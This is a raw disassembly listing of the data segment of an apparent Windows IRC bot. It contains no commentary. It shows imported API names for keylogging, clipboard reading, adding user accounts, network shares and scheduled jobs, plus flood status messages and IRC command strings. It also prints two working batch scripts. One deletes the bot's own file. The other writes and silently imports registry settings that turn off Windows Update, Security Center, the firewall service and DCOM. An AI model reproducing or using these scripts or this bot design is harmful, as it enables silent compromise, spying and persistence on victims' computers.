aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_406E9A+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_406E9A+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_406E9A:loc_407A37o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_406E9A+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_406E9A+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_406E9A:loc_4079EDo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_406E9A+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_406E9A+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_406E9A+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_406E9A+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_406E9A:loc_407979o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_406E9A+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_406E9A+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_406E9A:loc_40792Fo
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_406E9A+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_406E9A+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_406E9A:loc_4078E5o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_406E9A+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_406E9A+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_406E9A+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_406E9A+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_406E9A+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_406E9A+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_406E9A+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_406E9A+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_406E9A+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_406E9A+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_406E9A+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_406E9A:loc_4077DAo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_406E9A+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_406E9A+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_406E9A+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_406E9A:loc_40777Bo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_406E9A+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_406E9A+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_406E9A+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_406E9A+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_406E9A+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_406E9A+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_406E9A+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_406E9A+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_406E9A+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_406E9A+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_406E9A+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_406E9A:loc_40765Bo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_406E9A+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_406E9A+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_406E9A+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_406E9A+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_406E9A+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_406E9A+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_406E9A+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_406E9A+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_406E9A+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_406E9A+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_406E9A+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_406E9A+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_406E9A+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_406E9A+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_406E9A+5D2o
					; seg000:0040D432o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_406E9A+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_406E9A+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_406E9A+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_406E9A+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_406E9A+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_406E9A+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_406E9A+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_406E9A+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_406E9A+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_406E9A+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_406E9A+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_406E9A+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_406E9A+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_406E9A+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_406E9A+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_406E9A+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_406E9A+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_406E9A+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_406E9A+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_406E9A+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_406E9A+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_406E9A+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_406E9A+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_406E9A+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_406E9A+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_406E9A+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_406E9A:loc_4072A9o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_406E9A:loc_407281o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_406E9A+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_406E9A+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_406E9A+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_406E9A+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_406E9A+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_406E9A+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_406E9A+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_406E9A:loc_4071D3o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_406E9A+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_406E9A+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_406E9A:loc_40718Eo
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_406E9A+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_406E9A+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_406E9A+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_406E9A+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_406E9A+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_406E9A+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_406E9A:loc_4070F9o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_406E9A+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_406E9A+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_406E9A+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_406E9A:loc_407092o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_406E9A+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_406E9A+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_406E9A+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_406E9A+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_406E9A+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_406E9A+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_406E9A+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_406E9A+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_406E9A:loc_406FCFo
					; seg000:0041C78Bo
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_406E9A:loc_406FA2o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_406E9A+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_406E9A+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_406E9A+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_406E9A+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_406E9A+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_406E9A+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_406E9A+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_406E9A+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_406E9A+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_406E9A+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_406E9A+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_406E9A+Ao
		align 4
dword_425AA4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_407B27+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407B27+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407B27+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407B27+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407B27+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_408175+5o
					; sub_4126F4+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4081F7+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40829B+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4082BD+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4082BD+48o
		align 4
aCA_bat		db 'c:\a.bat',0         ; DATA XREF: sub_408445+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408445+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 10h
unk_427400	db    2			; DATA XREF: sub_40853B:loc_4085FAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_427444	db    2			; DATA XREF: sub_40853B:loc_4085C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_427488	db    2			; DATA XREF: sub_40853B:loc_408594o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_4274C0	db    2			; DATA XREF: sub_40853B+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_427504	db    2			; DATA XREF: seg000:004087FBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_427544	db    2			; DATA XREF: seg000:0040872Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_427580	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40884B+1C6o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 10h
dword_4275C0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40884B+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_408AC9+33o
dword_42760C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_408C82o
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 10h
dword_427650	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00408C60o
